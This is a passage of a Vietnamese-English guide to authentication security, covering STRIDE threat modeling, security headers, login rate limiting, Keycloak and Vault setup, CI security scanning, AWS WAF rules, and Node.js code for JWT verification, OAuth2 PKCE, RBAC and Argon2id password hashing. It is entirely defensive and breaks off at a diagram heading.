4.1 Threat Modeling — STRIDE

STRIDE là framework phân loại mối đe doạ của Microsoft:

ThreatÝ nghĩaVí dụ Auth/AuthZMitigation
SpoofingGiả mạo danh tínhCredential stuffing, token forgeryMFA, strong auth, certificate pinning
TamperingSửa đổi dữ liệuModify JWT payload, MITMDigital signatures, TLS, integrity checks
RepudiationPhủ nhận hành vi”Tôi không thực hiện giao dịch đó”Audit logging, non-repudiation (digital signatures)
Information DisclosureLộ thông tinJWT payload leak, error message leakEncryption, minimal error messages, no sensitive data in JWT
Denial of ServiceTừ chối dịch vụLogin endpoint DDoS, bcrypt CPU exhaustionRate limiting, CAPTCHA, WAF
Elevation of PrivilegeLeo thang quyềnBOLA, mass assignment, JWT claim manipulationAuthorization checks, input validation, least privilege

Threat Modeling Process cho Auth System

1. DECOMPOSE hệ thống → vẽ Data Flow Diagram (DFD)
2. Xác định TRUST BOUNDARIES (browser ↔ API, API ↔ DB, service ↔ service)
3. Với MỖI data flow crossing trust boundary → apply STRIDE
4. Đánh giá RISK = Likelihood × Impact
5. Chọn MITIGATION cho mỗi threat
6. VALIDATE mitigations (pen test, code review)

4.2 Security Headers

# nginx.conf — Security headers configuration
server {
    # Chống XSS: Chỉ cho phép script/style từ nguồn tin cậy
    add_header Content-Security-Policy "default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self';" always;
 
    # Force HTTPS trong 1 năm, bao gồm subdomain
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
 
    # Chống clickjacking — không cho phép iframe
    add_header X-Frame-Options "DENY" always;
 
    # Chống MIME type sniffing
    add_header X-Content-Type-Options "nosniff" always;
 
    # Hạn chế thông tin referrer
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
 
    # Hạn chế browser features
    add_header Permissions-Policy "camera=(), microphone=(), geolocation=(self), payment=(self)" always;
 
    # Không cache sensitive pages
    add_header Cache-Control "no-store, no-cache, must-revalidate" always;
    add_header Pragma "no-cache" always;
}
HeaderMục đíchGiá trị khuyến nghị
Content-Security-PolicyChống XSS, data injectionWhitelist sources cụ thể
Strict-Transport-SecurityForce HTTPSmax-age=31536000; includeSubDomains; preload
X-Frame-OptionsChống clickjackingDENY hoặc SAMEORIGIN
X-Content-Type-OptionsChống MIME sniffingnosniff
Referrer-PolicyHạn chế thông tin referrerstrict-origin-when-cross-origin
Permissions-PolicyHạn chế browser APIsDisable camera, mic, geolocation

4.3 Rate Limiting for Login & Account Lockout

Login Rate Limiting Strategy

# Rate limiting tiers cho login endpoint
rate_limits:
  # Tier 1: Per IP
  - key: "login:ip:{ip}"
    limit: 10 requests
    window: 1 minute
    action: block + CAPTCHA
 
  # Tier 2: Per username
  - key: "login:user:{username}"
    limit: 5 attempts
    window: 15 minutes
    action: temporary lock (15 min)
 
  # Tier 3: Per IP range (/24)
  - key: "login:subnet:{ip_range}"
    limit: 100 requests
    window: 1 minute
    action: block subnet + alert
 
  # Tier 4: Global
  - key: "login:global"
    limit: 1000 requests
    window: 1 minute
    action: enable CAPTCHA for all + alert SOC

Credential Stuffing Defense

Credential stuffing = attacker dùng database username/password bị lộ (từ các breach khác) để thử login hàng loạt.

Defense LayerGiải pháp
DetectionMonitor login failure rate, detect distributed attacks (nhiều IP, cùng pattern)
Rate limitingPer-user + per-IP + per-subnet + global
CAPTCHATrigger sau N failed attempts
Bot detectionDevice fingerprinting, behavioral analysis
Breached password checkCheck password against HaveIBeenPwned API (k-Anonymity)
MFAEven if password correct, attacker still needs 2nd factor
Account lockoutProgressive delay (1s, 2s, 4s, 8s…) thay vì hard lock

Anti-pattern: Hard lockout sau 3 attempts → attacker có thể DoS bất kỳ ai bằng cách cố tình login sai 3 lần vào account nạn nhân. Dùng progressive delay + CAPTCHA thay vì hard lock.

4.4 Security Logging & Monitoring

What to Log (Auth Events)

{
  "timestamp": "2024-01-15T10:30:00Z",
  "event": "LOGIN_FAILED",
  "severity": "WARN",
  "user_id": "user-123",
  "ip": "203.0.113.45",
  "user_agent": "Mozilla/5.0...",
  "geo": { "country": "VN", "city": "HCMC" },
  "reason": "INVALID_PASSWORD",
  "attempt_count": 3,
  "request_id": "req-abc-123",
  "session_id": null,
  "mfa_method": null,
  "risk_score": 0.7
}

Security Alerts

EventThresholdAction
Failed logins (per user)> 5 in 15 minLock account + alert
Failed logins (per IP)> 20 in 5 minBlock IP + CAPTCHA
Failed logins (global)> 10x baselineSOC alert + enable CAPTCHA globally
Privilege escalation attemptAnyImmediate alert + block
Token from unusual geoRisk score > 0.8Step-up authentication
Password change + session from new deviceWithin 1 hourAlert user via email/SMS
Admin action from non-whitelisted IPAnyBlock + alert

5. DevOps — Auth Infrastructure

5.1 Keycloak / Auth0 Setup

Keycloak (Self-hosted, Open Source)

# docker-compose.yml — Keycloak with PostgreSQL
version: '3.8'
services:
  keycloak:
    image: quay.io/keycloak/keycloak:23.0
    command: start
    environment:
      KC_DB: postgres
      KC_DB_URL: jdbc:postgresql://postgres:5432/keycloak
      KC_DB_USERNAME: keycloak
      KC_DB_PASSWORD_FILE: /run/secrets/db_password
      KC_HOSTNAME: auth.example.com
      KC_HTTPS_CERTIFICATE_FILE: /opt/keycloak/certs/tls.crt
      KC_HTTPS_CERTIFICATE_KEY_FILE: /opt/keycloak/certs/tls.key
      KC_HEALTH_ENABLED: "true"
      KC_METRICS_ENABLED: "true"
      KC_FEATURES: "token-exchange,admin-fine-grained-authz"
    ports:
      - "8443:8443"
    volumes:
      - ./certs:/opt/keycloak/certs:ro
    secrets:
      - db_password
    deploy:
      replicas: 2
      resources:
        limits:
          memory: 1G
          cpus: '1.0'
    depends_on:
      - postgres
 
  postgres:
    image: postgres:16-alpine
    environment:
      POSTGRES_DB: keycloak
      POSTGRES_USER: keycloak
      POSTGRES_PASSWORD_FILE: /run/secrets/db_password
    volumes:
      - keycloak-db:/var/lib/postgresql/data
    secrets:
      - db_password
 
secrets:
  db_password:
    file: ./secrets/db_password.txt  # In production, use Vault/KMS
 
volumes:
  keycloak-db:
FeatureKeycloak (Self-hosted)Auth0 (SaaS)
CostFree (infra cost)$23/1000 MAU
SetupComplexEasy
CustomizationFull controlLimited
ComplianceFull control over dataSOC2, GDPR
MaintenanceTeam phải maintainManaged
ScaleManualAuto

Chọn Keycloak khi: cần full control, data residency, budget hạn chế, team có DevOps capacity. Chọn Auth0 khi: cần nhanh, team nhỏ, không muốn maintain auth infrastructure.

5.2 HashiCorp Vault — Secrets Management

# === Vault Setup & Usage ===
 
# 1. Enable secrets engine
vault secrets enable -path=secret kv-v2
 
# 2. Store database credentials
vault kv put secret/auth-service/db \
  username="auth_svc" \
  password="$(openssl rand -base64 32)"
 
# 3. Store JWT signing keys
vault kv put secret/auth-service/jwt \
  private_key=@private-key.pem \
  public_key=@public-key.pem
 
# 4. Configure auto-rotation for database credentials
vault write database/config/auth-db \
  plugin_name=postgresql-database-plugin \
  connection_url="postgresql://{{username}}:{{password}}@db:5432/auth" \
  allowed_roles="auth-service" \
  username="vault_admin" \
  password="vault_admin_pass"
 
vault write database/roles/auth-service \
  db_name=auth-db \
  creation_statements="CREATE ROLE \"{{name}}\" WITH LOGIN PASSWORD '{{password}}' VALID UNTIL '{{expiration}}'; GRANT SELECT, INSERT, UPDATE ON ALL TABLES IN SCHEMA public TO \"{{name}}\";" \
  default_ttl="1h" \
  max_ttl="24h"
 
# 5. App reads secret (with lease)
vault read database/creds/auth-service
# → username: v-auth-svc-abc123
# → password: A1B2C3...
# → lease_duration: 1h
# → lease_id: database/creds/auth-service/xxx

Vault in Kubernetes

# vault-agent-injector annotation cho pod
apiVersion: apps/v1
kind: Deployment
metadata:
  name: auth-service
spec:
  template:
    metadata:
      annotations:
        vault.hashicorp.com/agent-inject: "true"
        vault.hashicorp.com/role: "auth-service"
        vault.hashicorp.com/agent-inject-secret-db: "secret/data/auth-service/db"
        vault.hashicorp.com/agent-inject-secret-jwt: "secret/data/auth-service/jwt"
        vault.hashicorp.com/agent-inject-template-db: |
          {{- with secret "secret/data/auth-service/db" -}}
          DB_USERNAME={{ .Data.data.username }}
          DB_PASSWORD={{ .Data.data.password }}
          {{- end }}
    spec:
      serviceAccountName: auth-service
      containers:
        - name: auth-service
          image: auth-service:latest
          # Secrets sẽ được mount vào /vault/secrets/db

5.3 Certificate Management

# cert-manager (Kubernetes) — Auto TLS certificate
apiVersion: cert-manager.io/v1
kind: Certificate
metadata:
  name: auth-tls
  namespace: auth
spec:
  secretName: auth-tls-secret
  issuerRef:
    name: letsencrypt-prod
    kind: ClusterIssuer
  dnsNames:
    - auth.example.com
    - api.example.com
  renewBefore: 720h  # Renew 30 ngày trước khi hết hạn
 
---
apiVersion: cert-manager.io/v1
kind: ClusterIssuer
metadata:
  name: letsencrypt-prod
spec:
  acme:
    server: https://acme-v02.api.letsencrypt.org/directory
    email: security@example.com
    privateKeySecretRef:
      name: letsencrypt-prod-key
    solvers:
      - http01:
          ingress:
            class: nginx

5.4 Security Scanning in CI/CD

# .github/workflows/security-pipeline.yml
name: Security Pipeline
 
on:
  push:
    branches: [main, develop]
  pull_request:
    branches: [main]
 
jobs:
  # 1. Static Application Security Testing (SAST)
  sast:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Run Semgrep (SAST)
        uses: semgrep/semgrep-action@v1
        with:
          config: >-
            p/owasp-top-ten
            p/jwt
            p/nodejs
            p/sql-injection
          generateSarif: true
 
      - name: Upload SARIF
        uses: github/codeql-action/upload-sarif@v3
        with:
          sarif_file: semgrep.sarif
 
  # 2. Software Composition Analysis (SCA)
  sca:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Run Trivy (Dependency scan)
        uses: aquasecurity/trivy-action@master
        with:
          scan-type: 'fs'
          scan-ref: '.'
          severity: 'CRITICAL,HIGH'
          exit-code: '1'  # Fail build on critical/high
 
  # 3. Secret Detection
  secrets:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0
      - name: Run Gitleaks
        uses: gitleaks/gitleaks-action@v2
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
 
  # 4. Container Security
  container-scan:
    runs-on: ubuntu-latest
    needs: [sast, sca, secrets]
    steps:
      - uses: actions/checkout@v4
      - name: Build Docker image
        run: docker build -t auth-service:${{ github.sha }} .
      - name: Run Trivy (Container scan)
        uses: aquasecurity/trivy-action@master
        with:
          image-ref: 'auth-service:${{ github.sha }}'
          severity: 'CRITICAL,HIGH'
          exit-code: '1'
 
  # 5. DAST (Dynamic testing on staging)
  dast:
    runs-on: ubuntu-latest
    needs: [container-scan]
    if: github.ref == 'refs/heads/main'
    steps:
      - name: Run OWASP ZAP
        uses: zaproxy/action-full-scan@v0.10.0
        with:
          target: 'https://staging-auth.example.com'
          rules_file_name: '.zap/rules.tsv'

5.5 WAF Rules (AWS WAF Example)

{
  "Name": "AuthProtectionRules",
  "Rules": [
    {
      "Name": "RateLimitLogin",
      "Priority": 1,
      "Action": { "Block": {} },
      "Statement": {
        "RateBasedStatement": {
          "Limit": 100,
          "AggregateKeyType": "IP",
          "ScopeDownStatement": {
            "ByteMatchStatement": {
              "SearchString": "/api/auth/login",
              "FieldToMatch": { "UriPath": {} },
              "PositionalConstraint": "EXACTLY",
              "TextTransformations": [{ "Priority": 0, "Type": "LOWERCASE" }]
            }
          }
        }
      }
    },
    {
      "Name": "BlockKnownBadBots",
      "Priority": 2,
      "Action": { "Block": {} },
      "Statement": {
        "ManagedRuleGroupStatement": {
          "VendorName": "AWS",
          "Name": "AWSManagedRulesBotControlRuleSet"
        }
      }
    },
    {
      "Name": "SQLInjectionProtection",
      "Priority": 3,
      "Action": { "Block": {} },
      "Statement": {
        "ManagedRuleGroupStatement": {
          "VendorName": "AWS",
          "Name": "AWSManagedRulesSQLiRuleSet"
        }
      }
    },
    {
      "Name": "XSSProtection",
      "Priority": 4,
      "Action": { "Block": {} },
      "Statement": {
        "ManagedRuleGroupStatement": {
          "VendorName": "AWS",
          "Name": "AWSManagedRulesCommonRuleSet"
        }
      }
    }
  ]
}

6. Code Examples

6.1 JWT Auth Middleware (Node.js Express)

// middleware/jwt-auth.js
const jwt = require('jsonwebtoken');
const jwksClient = require('jwks-rsa');
 
// JWKS client — lấy public key từ Auth Server
const client = jwksClient({
  jwksUri: process.env.JWKS_URI || 'https://auth.example.com/.well-known/jwks.json',
  cache: true,               // Cache public keys
  cacheMaxAge: 600000,       // 10 phút
  rateLimit: true,
  jwksRequestsPerMinute: 10, // Ngăn abuse
});
 
function getSigningKey(header, callback) {
  client.getSigningKey(header.kid, (err, key) => {
    if (err) return callback(err);
    const signingKey = key.getPublicKey();
    callback(null, signingKey);
  });
}
 
/**
 * JWT Authentication Middleware
 * Verify JWT token từ Authorization header
 */
function authenticate(req, res, next) {
  // 1. Extract token
  const authHeader = req.headers.authorization;
  if (!authHeader || !authHeader.startsWith('Bearer ')) {
    return res.status(401).json({
      error: 'UNAUTHORIZED',
      message: 'Missing or invalid Authorization header',
    });
  }
 
  const token = authHeader.split(' ')[1];
 
  // 2. Verify token
  jwt.verify(
    token,
    getSigningKey,
    {
      algorithms: ['RS256'],        // CHỈ chấp nhận RS256 — ngăn "alg: none" attack
      issuer: process.env.JWT_ISSUER || 'https://auth.example.com',
      audience: process.env.JWT_AUDIENCE || 'https://api.example.com',
      clockTolerance: 30,           // Chấp nhận sai lệch 30s giữa servers
    },
    (err, decoded) => {
      if (err) {
        const errorMap = {
          TokenExpiredError: { status: 401, code: 'TOKEN_EXPIRED' },
          JsonWebTokenError: { status: 401, code: 'INVALID_TOKEN' },
          NotBeforeError: { status: 401, code: 'TOKEN_NOT_ACTIVE' },
        };
 
        const mapped = errorMap[err.name] || { status: 401, code: 'AUTH_ERROR' };
 
        // Security logging — log failed auth attempts
        req.log?.warn({
          event: 'AUTH_FAILED',
          reason: mapped.code,
          ip: req.ip,
          userAgent: req.headers['user-agent'],
          path: req.path,
        });
 
        return res.status(mapped.status).json({
          error: mapped.code,
          message: 'Authentication failed',
          // KHÔNG trả chi tiết lỗi cho client → information disclosure
        });
      }
 
      // 3. Attach user info
      req.user = {
        id: decoded.sub,
        email: decoded.email,
        roles: decoded.roles || [],
        orgId: decoded.org_id,
        permissions: decoded.permissions || [],
      };
 
      // Security logging — log successful auth
      req.log?.info({
        event: 'AUTH_SUCCESS',
        userId: decoded.sub,
        ip: req.ip,
        path: req.path,
      });
 
      next();
    }
  );
}
 
/**
 * Optional authentication — không block nếu không có token
 * Dùng cho endpoints vừa public vừa có enhanced features khi login
 */
function optionalAuth(req, res, next) {
  const authHeader = req.headers.authorization;
  if (!authHeader || !authHeader.startsWith('Bearer ')) {
    req.user = null;
    return next();
  }
  return authenticate(req, res, next);
}
 
module.exports = { authenticate, optionalAuth };

6.2 OAuth2 PKCE Flow Implementation (Client-side)

// auth/oauth2-pkce.js
// OAuth2 Authorization Code + PKCE flow cho SPA
 
/**
 * Tạo random code verifier (43-128 chars)
 */
function generateCodeVerifier() {
  const array = new Uint8Array(32);
  crypto.getRandomValues(array);
  return base64UrlEncode(array);
}
 
/**
 * Tính code challenge = BASE64URL(SHA256(code_verifier))
 */
async function generateCodeChallenge(codeVerifier) {
  const encoder = new TextEncoder();
  const data = encoder.encode(codeVerifier);
  const digest = await crypto.subtle.digest('SHA-256', data);
  return base64UrlEncode(new Uint8Array(digest));
}
 
function base64UrlEncode(buffer) {
  return btoa(String.fromCharCode(...buffer))
    .replace(/\+/g, '-')
    .replace(/\//g, '_')
    .replace(/=+$/, '');
}
 
/**
 * Bước 1: Redirect user tới Auth Server
 */
async function initiateLogin() {
  const codeVerifier = generateCodeVerifier();
  const codeChallenge = await generateCodeChallenge(codeVerifier);
  const state = crypto.randomUUID(); // CSRF protection
 
  // Lưu vào sessionStorage (KHÔNG localStorage — tab-scoped an toàn hơn)
  sessionStorage.setItem('pkce_code_verifier', codeVerifier);
  sessionStorage.setItem('oauth_state', state);
 
  const params = new URLSearchParams({
    response_type: 'code',
    client_id: process.env.OAUTH_CLIENT_ID,
    redirect_uri: `${window.location.origin}/callback`,
    scope: 'openid profile email',
    state: state,
    code_challenge: codeChallenge,
    code_challenge_method: 'S256',
  });
 
  window.location.href =
    `${process.env.AUTH_SERVER_URL}/authorize?${params.toString()}`;
}
 
/**
 * Bước 2: Handle callback — exchange code for tokens
 */
async function handleCallback() {
  const params = new URLSearchParams(window.location.search);
  const code = params.get('code');
  const state = params.get('state');
  const error = params.get('error');
 
  // Check for errors
  if (error) {
    throw new Error(`OAuth error: ${error} - ${params.get('error_description')}`);
  }
 
  // Validate state (CSRF protection)
  const savedState = sessionStorage.getItem('oauth_state');
  if (state !== savedState) {
    throw new Error('Invalid state parameter — possible CSRF attack');
  }
 
  // Retrieve code verifier
  const codeVerifier = sessionStorage.getItem('pkce_code_verifier');
  if (!codeVerifier) {
    throw new Error('Missing code verifier — please restart login');
  }
 
  // Exchange code for tokens
  const response = await fetch(`${process.env.AUTH_SERVER_URL}/token`, {
    method: 'POST',
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
    body: new URLSearchParams({
      grant_type: 'authorization_code',
      client_id: process.env.OAUTH_CLIENT_ID,
      code: code,
      redirect_uri: `${window.location.origin}/callback`,
      code_verifier: codeVerifier,  // PKCE verification
    }),
  });
 
  if (!response.ok) {
    throw new Error('Token exchange failed');
  }
 
  const tokens = await response.json();
 
  // Cleanup
  sessionStorage.removeItem('pkce_code_verifier');
  sessionStorage.removeItem('oauth_state');
 
  // Store tokens securely
  // Option A: httpOnly cookie (set by backend) — PREFERRED
  // Option B: Memory only (lost on refresh, use refresh token flow)
  return tokens;
}
 
/**
 * Bước 3: Refresh token (silent)
 */
async function refreshAccessToken(refreshToken) {
  const response = await fetch(`${process.env.AUTH_SERVER_URL}/token`, {
    method: 'POST',
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
    body: new URLSearchParams({
      grant_type: 'refresh_token',
      client_id: process.env.OAUTH_CLIENT_ID,
      refresh_token: refreshToken,
    }),
  });
 
  if (!response.ok) {
    // Refresh token expired or revoked → force re-login
    initiateLogin();
    return null;
  }
 
  return response.json(); // { access_token, refresh_token (rotated) }
}
 
module.exports = { initiateLogin, handleCallback, refreshAccessToken };

6.3 RBAC Middleware

// middleware/rbac.js
 
/**
 * RBAC Authorization Middleware
 * Sử dụng sau authenticate middleware
 */
 
// Permission definition
const ROLE_PERMISSIONS = {
  admin: ['*'],  // Superuser
  editor: [
    'article:read', 'article:write', 'article:publish',
    'comment:read', 'comment:write', 'comment:delete',
    'media:read', 'media:upload',
  ],
  author: [
    'article:read', 'article:write',
    'comment:read', 'comment:write',
    'media:read', 'media:upload',
  ],
  viewer: [
    'article:read',
    'comment:read',
  ],
};
 
/**
 * Check nếu user có permission cần thiết
 */
function hasPermission(userRoles, requiredPermission) {
  for (const role of userRoles) {
    const permissions = ROLE_PERMISSIONS[role] || [];
    if (permissions.includes('*') || permissions.includes(requiredPermission)) {
      return true;
    }
  }
  return false;
}
 
/**
 * Middleware factory: require specific permission
 * Usage: app.post('/articles', authenticate, authorize('article:write'), handler)
 */
function authorize(requiredPermission) {
  return (req, res, next) => {
    if (!req.user) {
      return res.status(401).json({ error: 'UNAUTHORIZED' });
    }
 
    if (!hasPermission(req.user.roles, requiredPermission)) {
      // Security logging
      req.log?.warn({
        event: 'AUTHZ_DENIED',
        userId: req.user.id,
        roles: req.user.roles,
        requiredPermission,
        path: req.path,
        method: req.method,
        ip: req.ip,
      });
 
      return res.status(403).json({
        error: 'FORBIDDEN',
        message: 'Insufficient permissions',
        // KHÔNG cho biết cần permission gì → information disclosure
      });
    }
 
    // Security logging
    req.log?.info({
      event: 'AUTHZ_GRANTED',
      userId: req.user.id,
      permission: requiredPermission,
      path: req.path,
    });
 
    next();
  };
}
 
/**
 * Middleware: require ANY of the listed roles
 * Usage: app.delete('/users/:id', authenticate, requireRole('admin'), handler)
 */
function requireRole(...roles) {
  return (req, res, next) => {
    if (!req.user) {
      return res.status(401).json({ error: 'UNAUTHORIZED' });
    }
 
    const hasRole = req.user.roles.some((r) => roles.includes(r));
    if (!hasRole) {
      req.log?.warn({
        event: 'ROLE_CHECK_DENIED',
        userId: req.user.id,
        userRoles: req.user.roles,
        requiredRoles: roles,
        path: req.path,
        ip: req.ip,
      });
 
      return res.status(403).json({
        error: 'FORBIDDEN',
        message: 'Insufficient permissions',
      });
    }
 
    next();
  };
}
 
/**
 * Middleware: Resource-level authorization
 * Check user owns the resource (prevent BOLA)
 */
function authorizeOwner(getResourceOwnerId) {
  return async (req, res, next) => {
    if (!req.user) {
      return res.status(401).json({ error: 'UNAUTHORIZED' });
    }
 
    // Admin bypass
    if (req.user.roles.includes('admin')) {
      return next();
    }
 
    try {
      const ownerId = await getResourceOwnerId(req);
      if (ownerId !== req.user.id) {
        req.log?.warn({
          event: 'BOLA_ATTEMPT',
          userId: req.user.id,
          resourceOwnerId: ownerId,
          path: req.path,
          method: req.method,
          ip: req.ip,
        });
 
        return res.status(403).json({
          error: 'FORBIDDEN',
          message: 'Insufficient permissions',
        });
      }
      next();
    } catch (err) {
      return res.status(404).json({ error: 'NOT_FOUND' });
    }
  };
}
 
// === Usage Examples ===
// const { authenticate } = require('./jwt-auth');
// const { authorize, requireRole, authorizeOwner } = require('./rbac');
//
// // Public
// app.get('/articles', listArticles);
//
// // Authenticated
// app.get('/profile', authenticate, getProfile);
//
// // Permission-based
// app.post('/articles', authenticate, authorize('article:write'), createArticle);
// app.put('/articles/:id/publish', authenticate, authorize('article:publish'), publishArticle);
//
// // Role-based
// app.delete('/users/:id', authenticate, requireRole('admin'), deleteUser);
//
// // Owner-based (prevent BOLA)
// app.put('/articles/:id', authenticate, authorizeOwner(
//   async (req) => {
//     const article = await Article.findById(req.params.id);
//     return article?.authorId;
//   }
// ), updateArticle);
 
module.exports = { authorize, requireRole, authorizeOwner, hasPermission };

6.4 Password Hashing Example

// auth/password.js
const argon2 = require('argon2');
const crypto = require('crypto');
 
// Argon2id configuration — OWASP recommended
const ARGON2_OPTIONS = {
  type: argon2.argon2id,    // Hybrid: chống cả side-channel + GPU
  memoryCost: 65536,        // 64 MB RAM
  timeCost: 3,              // 3 iterations
  parallelism: 4,           // 4 threads
  hashLength: 32,           // 32 bytes output
};
 
/**
 * Hash password bằng Argon2id
 */
async function hashPassword(plainPassword) {
  // Validate password strength trước khi hash
  if (!isPasswordStrong(plainPassword)) {
    throw new Error('Password does not meet strength requirements');
  }
 
  // Argon2 tự generate salt
  return argon2.hash(plainPassword, ARGON2_OPTIONS);
  // Output: $argon2id$v=19$m=65536,t=3,p=4$salt$hash
}
 
/**
 * Verify password against stored hash
 */
async function verifyPassword(plainPassword, storedHash) {
  try {
    return await argon2.verify(storedHash, plainPassword);
  } catch (err) {
    // Hash format invalid hoặc error khác → treat as failure
    return false;
  }
}
 
/**
 * Check if hash needs rehashing (params đã thay đổi)
 */
function needsRehash(storedHash) {
  return argon2.needsRehash(storedHash, ARGON2_OPTIONS);
}
 
/**
 * Password strength validation
 * NIST SP 800-63B guidelines:
 * - Minimum 8 chars (recommend 12+)
 * - Check against breached passwords
 * - NO arbitrary complexity rules (uppercase, special char, etc.)
 */
function isPasswordStrong(password) {
  if (password.length < 12) return false;
  if (password.length > 128) return false; // Prevent DoS via long password
 
  // Block common passwords (in production: use full breached password DB)
  const commonPasswords = [
    'password123456', '123456789012', 'qwertyuiopas',
  ];
  if (commonPasswords.includes(password.toLowerCase())) return false;
 
  return true;
}
 
/**
 * Check password against HaveIBeenPwned (k-Anonymity)
 * Gửi 5 chars đầu của SHA1 hash → API trả về danh sách suffix
 * → KHÔNG BAO GIỜ gửi full password hoặc full hash ra ngoài
 */
async function isPasswordBreached(password) {
  const sha1 = crypto.createHash('sha1').update(password).digest('hex').toUpperCase();
  const prefix = sha1.slice(0, 5);
  const suffix = sha1.slice(5);
 
  const response = await fetch(`https://api.pwnedpasswords.com/range/${prefix}`);
  const text = await response.text();
 
  return text.split('\n').some((line) => {
    const [hashSuffix, count] = line.split(':');
    return hashSuffix.trim() === suffix;
  });
}
 
module.exports = {
  hashPassword,
  verifyPassword,
  needsRehash,
  isPasswordStrong,
  isPasswordBreached,
};

6.5 Security Headers Config (Express)

// middleware/security-headers.js
const helmet = require('helmet');
 
function securityHeaders() {
  return helmet({
    // Content Security Policy
    contentSecurityPolicy: {
      directives: {
        defaultSrc: ["'self'"],
        scriptSrc: ["'self'", 'https://cdn.example.com'],
        styleSrc: ["'self'", "'unsafe-inline'"],  // unsafe-inline cho CSS only
        imgSrc: ["'self'", 'data:', 'https:'],
        fontSrc: ["'self'", 'https://fonts.gstatic.com'],
        connectSrc: ["'self'", 'https://api.example.com'],
        frameAncestors: ["'none'"],               // Chống clickjacking
        baseUri: ["'self'"],
        formAction: ["'self'"],
        objectSrc: ["'none'"],
        upgradeInsecureRequests: [],               // HTTP → HTTPS
      },
    },
 
    // Strict Transport Security
    strictTransportSecurity: {
      maxAge: 31536000,        // 1 năm
      includeSubDomains: true,
      preload: true,
    },
 
    // Chống clickjacking
    frameguard: { action: 'deny' },
 
    // Chống MIME sniffing
    noSniff: true,
 
    // Referrer Policy
    referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
 
    // Permissions Policy
    permittedCrossDomainPolicies: { permittedPolicies: 'none' },
 
    // Disable X-Powered-By (information disclosure)
    hidePoweredBy: true,
 
    // XSS Filter (legacy browsers)
    xssFilter: true,
  });
}
 
// CORS configuration
const cors = require('cors');
 
function corsConfig() {
  const allowedOrigins = (process.env.ALLOWED_ORIGINS || '').split(',');
 
  return cors({
    origin: (origin, callback) => {
      // Allow requests with no origin (mobile apps, Postman)
      if (!origin) return callback(null, true);
 
      if (allowedOrigins.includes(origin)) {
        callback(null, true);
      } else {
        callback(new Error('Not allowed by CORS'));
      }
    },
    methods: ['GET', 'POST', 'PUT', 'DELETE', 'PATCH'],
    allowedHeaders: ['Authorization', 'Content-Type', 'X-Request-ID'],
    exposedHeaders: ['X-Request-ID', 'X-RateLimit-Remaining'],
    credentials: true,     // Allow cookies
    maxAge: 86400,         // Preflight cache 24h
  });
}
 
// Cookie security settings
function secureCookieConfig() {
  return {
    httpOnly: true,         // JavaScript không đọc được
    secure: true,           // Chỉ gửi qua HTTPS
    sameSite: 'lax',        // CSRF protection
    maxAge: 3600000,        // 1 giờ
    path: '/',
    domain: '.example.com', // Share giữa subdomain
    signed: true,           // Detect tampering
  };
}
 
module.exports = { securityHeaders, corsConfig, secureCookieConfig };

7. Mermaid Diagrams

7.1 OAuth2 Authorization Code Flow

sequenceDiagram
    participant U as User (Browser)
    participant C as Client App
    participant AS as Auth Server<br/>(Keycloak/Auth0)
    participant RS as Resource Server<br/>(API)

    U->>C: 1. Click "Login"
    C->>AS: 2. GET /authorize<br/>response_type=code<br/>client_id, redirect_uri<br/>scope, state, code_challenge
    AS->>U: 3. Show Login Page
    U->>AS: 4. Enter credentials + MFA
    AS->>AS: 5. Validate credentials
    AS->>C: 6. 302 Redirect to callback<br/>?code=AUTH_CODE&state=xxx

    rect rgb(200, 255, 200)
        Note over C,AS: Back-channel (server-to-server, secure)
        C->>AS: 7. POST /token<br/>code=AUTH_CODE<br/>client_secret (or code_verifier)<br/>redirect_uri
        AS->>AS: 8. Validate code +<br/>client + PKCE
        AS->>C: 9. { access_token, refresh_token,<br/>id_token, expires_in }
    end

    C->>RS: 10. GET /api/resource<br/>Authorization: Bearer {access_token}
    RS->>RS: 11. Verify JWT<br/>(check sig, exp, aud, iss)
    RS->>C: 12. 200 OK + Resource Data
    C->>U: 13. Display Data

    Note over C,AS: Token Refresh (khi access token hết hạn)
    C->>AS: 14. POST /token<br/>grant_type=refresh_token<br/>refresh_token=R1
    AS->>AS: 15. Validate R1,<br/>Issue R2 (rotation),<br/>Invalidate R1
    AS->>C: 16. { new access_token,<br/>new refresh_token (R2) }

7.2 JWT Lifecycle

flowchart TD
    subgraph "Token Issuance"
        A[User Login<br/>email + password + MFA] --> B{Credentials Valid?}
        B -->|No| C[401 Unauthorized<br/>+ Security Log]
        B -->|Yes| D[Generate Key Pair<br/>or Load from Vault]
        D --> E[Create JWT Claims<br/>sub, iss, aud, exp, roles]
        E --> F["Sign JWT<br/>RS256(header.payload, privateKey)"]
        F --> G[Generate Refresh Token<br/>opaque, stored in DB]
        G --> H[Return Tokens<br/>access_token + refresh_token]
    end

    subgraph "Token Usage"
        H --> I[Client stores tokens<br/>httpOnly cookie / memory]
        I --> J[API Request<br/>Authorization: Bearer JWT]
        J --> K{Token Expired?}
        K -->|Yes| L[Use Refresh Token<br/>to get new Access Token]
        L --> M{Refresh Token Valid?}
        M -->|No| N[Force Re-login]
        M -->|Yes| O[Issue New Access Token<br/>+ Rotate Refresh Token]
        O --> I
        K -->|No| P{Signature Valid?}
        P -->|No| Q[401 + Log<br/>POSSIBLE TOKEN FORGERY]
        P -->|Yes| R{Claims Valid?<br/>iss, aud, roles}
        R -->|No| S[403 Forbidden]
        R -->|Yes| T[Process Request]
    end

    subgraph "Token Revocation"
        U[User Logout] --> V[Delete Refresh Token<br/>from DB]
        W[Password Changed] --> X[Revoke ALL<br/>Refresh Tokens<br/>for User]
        Y[Security Incident] --> Z[Add JWT jti<br/>to Blacklist<br/>Redis TTL = remaining exp]
    end

    style C fill:#ff6b6b,stroke:#333
    style Q fill:#ff6b6b,stroke:#333
    style N fill:#ff6b6b,stroke:#333
    style T fill:#51cf66,stroke:#333

7.3 Zero Trust Architecture

flowchart TD
